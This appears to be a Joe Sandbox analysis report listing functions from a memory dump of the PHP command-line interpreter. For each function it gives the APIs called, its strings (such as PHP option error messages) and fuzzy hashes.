Opcode Fuzzy Hash: f4cebb72dd500258a0e330d1e8e58d1e2ced59ca17baeb36faa32f8930b498ab
Instruction Fuzzy Hash: 0BE10A32A0DB42CAEB11BF29E854269B7B8FB88B94F944135DA4E43764DF3CE465C710

Function 00007FF7498C28D1 Relevance: 59.7, APIs: 27, Strings: 7, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
_efree@@8.PHP8TS ref: 00007FF7498C28F1
zend_eval_string_ex.PHP8TS ref: 00007FF7498C2918
_php_stream_get_line.PHP8TS ref: 00007FF7498C294F
_emalloc@@8.PHP8TS ref: 00007FF7498C29A4
memmove.VCRUNTIME140 ref: 00007FF7498C29D0
zend_hash_str_update@@32.PHP8TS ref: 00007FF7498C2A0D
zend_hash_str_update@@32.PHP8TS ref: 00007FF7498C2A52
zend_eval_string_ex.PHP8TS ref: 00007FF7498C2A6C
virtual_fopen.PHP8TS ref: 00007FF7498C2A83
php_printf.PHP8TS ref: 00007FF7498C2A98
zend_stream_init_fp.PHP8TS ref: 00007FF7498C2AC3
php_execute_script.PHP8TS ref: 00007FF7498C2AE7
_efree@@8.PHP8TS ref: 00007FF7498C2AF0
zend_eval_string_ex.PHP8TS ref: 00007FF7498C2B2E

Strings

Command line begin code, xrefs: 00007FF7498C290C
Command line end code, xrefs: 00007FF7498C2B22
Finished execution, repeating..., xrefs: 00007FF7498C2469
argn, xrefs: 00007FF7498C29E5
argi, xrefs: 00007FF7498C2A2B
Could not open input file: %s, xrefs: 00007FF7498C2529, 00007FF7498C2A91
Command line run code, xrefs: 00007FF7498C2A60

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: zend_eval_string_ex$__acrt_iob_func_efree@@8php_printfvirtual_fopenzend_hash_str_update@@32$_emalloc@@8_getpid_php_stream_get_linefflushfprintffreememmovephp_execute_scriptphp_request_shutdownsapi_deactivatevirtual_cwd_activatezend_destroy_file_handlezend_ini_deactivatezend_stream_init_fp
String ID: Command line begin code$Command line end code$Command line run code$Could not open input file: %s$Finished execution, repeating...$argi$argn
API String ID: 1245382911-2716470631
Opcode ID: a3b7ee3bf8614664bf83c142438161779f3922f9901a73c0d7b3d89e86b64090
Instruction ID: 38f4b08db1694bf692416bde49256cb8768fffafa7819d3042ac043eab1dff7c
Opcode Fuzzy Hash: a3b7ee3bf8614664bf83c142438161779f3922f9901a73c0d7b3d89e86b64090
Instruction Fuzzy Hash: E7C12726A0DB42C6EB14FF29E4442B9A7B8FB48B94F944135DA4E437A4DF3CE465D320

Function 00007FF7498C1FC2 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Either execute direct code, process stdin or use a file., xrefs: 00007FF7498C2167
Could not open input file: %s, xrefs: 00007FF7498C2529
You can use -R or -F only once., xrefs: 00007FF7498C1FD6, 00007FF7498C20A7

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Either execute direct code, process stdin or use a file.$Finished execution, repeating...$You can use -R or -F only once.
API String ID: 3553338152-583370466
Opcode ID: 228b9956463f1bd849c5d356d7df22da3886abecfbf20f55fd4de07cdbb12e31
Instruction ID: 3ff49e7269127500e06dd498396f66df8ae9edb5bcb0f47a123a1dc49123ad1e
Opcode Fuzzy Hash: 228b9956463f1bd849c5d356d7df22da3886abecfbf20f55fd4de07cdbb12e31
Instruction Fuzzy Hash: 9F61F432A0CB46C6EB50BF29E444269E7B8FB44B94F944536DA4E437A8CF3CE464C720

Function 00007FF7498C2048 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Either execute direct code, process stdin or use a file., xrefs: 00007FF7498C2167
Could not open input file: %s, xrefs: 00007FF7498C2529
You can use -r only once., xrefs: 00007FF7498C205A

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Either execute direct code, process stdin or use a file.$Finished execution, repeating...$You can use -r only once.
API String ID: 3553338152-426040128
Opcode ID: d858a1e9502a77dbd96d191ea617b3bad5ef68b13e962244e103bb3bce0c4c19
Instruction ID: 62748c2835e93224e59e4677b39c42c418d5555a7c98f9da323c08c5ceeb1839
Opcode Fuzzy Hash: d858a1e9502a77dbd96d191ea617b3bad5ef68b13e962244e103bb3bce0c4c19
Instruction Fuzzy Hash: 6C61F632A0CB46C6EB50BF69E444269B7B8FB44B94F940536DA4E437A8CF3CE464C720

Function 00007FF7498C2097 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Either execute direct code, process stdin or use a file., xrefs: 00007FF7498C2167
Could not open input file: %s, xrefs: 00007FF7498C2529
You can use -R or -F only once., xrefs: 00007FF7498C20A7

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Either execute direct code, process stdin or use a file.$Finished execution, repeating...$You can use -R or -F only once.
API String ID: 3553338152-583370466
Opcode ID: 4eb3016f1b95f130a918f8364729c8162616cdff1726098edc066fbf7d43bfa0
Instruction ID: beac5c0a60257f04c78c224d1d662662fb3531d231667d4689b2bddf219e7827
Opcode Fuzzy Hash: 4eb3016f1b95f130a918f8364729c8162616cdff1726098edc066fbf7d43bfa0
Instruction Fuzzy Hash: AB610632A0CB46C6EB50BF69E444269B7B8FB44B94F944536DA4E437A8CF3CE464C720

Function 00007FF7498C20DF Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Either execute direct code, process stdin or use a file., xrefs: 00007FF7498C2167
You can use -B only once., xrefs: 00007FF7498C20EA
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Either execute direct code, process stdin or use a file.$Finished execution, repeating...$You can use -B only once.
API String ID: 3553338152-505230959
Opcode ID: 0e10afefe438f06696547d0fbb4cf1a3cda0f398d36f10d9a67720a2f4a0b730
Instruction ID: 8026ea72d06633134997deb20648ba5d280510858825c21cf750969305f4f5dd
Opcode Fuzzy Hash: 0e10afefe438f06696547d0fbb4cf1a3cda0f398d36f10d9a67720a2f4a0b730
Instruction Fuzzy Hash: 6261F632A0CB46C6EB50BF29E444269B7B8FB44B94F944536DA4E437A8CF3CE464C720

Function 00007FF7498C2123 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
You can use -E only once., xrefs: 00007FF7498C212E
Either execute direct code, process stdin or use a file., xrefs: 00007FF7498C2167
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Either execute direct code, process stdin or use a file.$Finished execution, repeating...$You can use -E only once.
API String ID: 3553338152-1668165687
Opcode ID: f75afcbd25c8002cd9d8841d2902f676d7587855860ac2f9678be31f560aebe2
Instruction ID: 8078ea3fbbcdf1952b023d645ecf158760e98bd7415e43da918100071e522426
Opcode Fuzzy Hash: f75afcbd25c8002cd9d8841d2902f676d7587855860ac2f9678be31f560aebe2
Instruction Fuzzy Hash: BB610732A0CB46C6EB50BF69E444269B7B8FB44B94F940536DA4E437A8CF3CE464C720

Function 00007FF7498C1F86 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Either execute direct code, process stdin or use a file., xrefs: 00007FF7498C2167
Interactive shell (-a) requires the readline extension., xrefs: 00007FF7498C1F90
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Either execute direct code, process stdin or use a file.$Finished execution, repeating...$Interactive shell (-a) requires the readline extension.
API String ID: 3553338152-3238503953
Opcode ID: 28e6316da42a0790e21ea5dbf0cbe5be1a67c08731897a8fb45388f4794f0680
Instruction ID: e6803d3d513de957184ad0677e50be847c939fb2d81e69fe6800580d09b3beaf
Opcode Fuzzy Hash: 28e6316da42a0790e21ea5dbf0cbe5be1a67c08731897a8fb45388f4794f0680
Instruction Fuzzy Hash: 31610722A0CB42C6EB50BF29E444269F7B8FB44B94F944536DA4E437A8CF3CE464D720

Function 00007FF7498C200B Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

You can use -f only once., xrefs: 00007FF7498C201D
Finished execution, repeating..., xrefs: 00007FF7498C2469
Either execute direct code, process stdin or use a file., xrefs: 00007FF7498C2167
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Either execute direct code, process stdin or use a file.$Finished execution, repeating...$You can use -f only once.
API String ID: 3553338152-1843009292
Opcode ID: cbc51a399cb6b393726d7776a74812c159b3f4b5d0ceff1dc37e7af6ccd1ed26
Instruction ID: 8b68a6810817ab84b443c4c14397d7c86803a3c55879216696a2b40315588e52
Opcode Fuzzy Hash: cbc51a399cb6b393726d7776a74812c159b3f4b5d0ceff1dc37e7af6ccd1ed26
Instruction Fuzzy Hash: 9561E432A0CB46C6EB54BF29E444269B7B8FB44B94F944536DA4E437A8CF3CE464D720

Function 00007FF7498C21A2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Source stripping only works for files., xrefs: 00007FF7498C21BB
Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Finished execution, repeating...$Source stripping only works for files.
API String ID: 3553338152-1395239938
Opcode ID: 65d906f40d2b1cad87c91d3b0134104b547da77fcb2dcbbec68ff2cde24d55b6
Instruction ID: 9676f80feb2ebf762fa7ed9955d9988335e59bb6eac3bb9d3156f7eda9f898df
Opcode Fuzzy Hash: 65d906f40d2b1cad87c91d3b0134104b547da77fcb2dcbbec68ff2cde24d55b6
Instruction Fuzzy Hash: C5510832A0CB42C6EB54BF29E444269B7B8FB44B94F944536DA4E437A8CF3CE464D720

Function 00007FF7498C2266 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

atoi.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF7498C226B
php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$atoifprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 2657596451-4259897058
Opcode ID: bdb06fa591e3e54191485d2cc3e0097ef2c008e19f655db3b2957de89980eeea
Instruction ID: ec68daef639decbf695e16e5aca15eb70bebc9a92464f1602c561455d9a9132e
Opcode Fuzzy Hash: bdb06fa591e3e54191485d2cc3e0097ef2c008e19f655db3b2957de89980eeea
Instruction Fuzzy Hash: A051F732A0CB42C6EB54BF69E844269B7B8FB44B94F944136DA4E437A8DF3CE454D720

Function 00007FF7498C21CC Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

zend_load_extension.PHP8TS ref: 00007FF7498C21D1
php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
